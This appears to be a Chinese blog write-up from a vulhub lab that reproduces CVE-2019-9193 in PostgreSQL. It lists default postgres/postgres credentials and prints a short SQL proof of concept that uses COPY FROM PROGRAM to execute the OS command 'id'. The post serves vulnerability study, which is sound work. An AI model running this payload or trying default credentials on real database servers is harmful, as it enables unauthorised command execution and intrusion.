PostgreSQL 高权限命令执行漏洞 CVE-2019-9193 漏洞复现

最新推荐文章于 2024-06-18 11:01:11 发布

ADummy_

最新推荐文章于 2024-06-18 11:01:11 发布

阅读量490

点赞数

分类专栏： vulhub_Writeup 文章标签： PostgreSQL CVE-2019-9193 命令执行权限漏洞数据库安全

本文链接：https://blog.csdn.net/weixin_43416469/article/details/114489615

版权

119 篇文章 5 订阅

订阅专栏

PostgreSQL 高权限命令执行漏洞（CVE-2019-9193）

连接到数据库，直接命令执行

PostgreSQL 是一款关系型数据库。其9.3到11版本中存在一处“特性”，管理员或具有“COPY TO/FROM PROGRAM”权限的用户，可以使用这个特性执行任意命令。

影响版本

PostgreSQL < 11

环境启动后，将开启Postgres默认的5432端口，默认账号密码为postgres/postgres。

登录postgres: psql --host your-ip --username postgres

并执行参考链接中的POC：

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

FROM PROGRAM语句将执行命令id并将结果保存在cmd_exec表中：

在这里插入图片描述

关注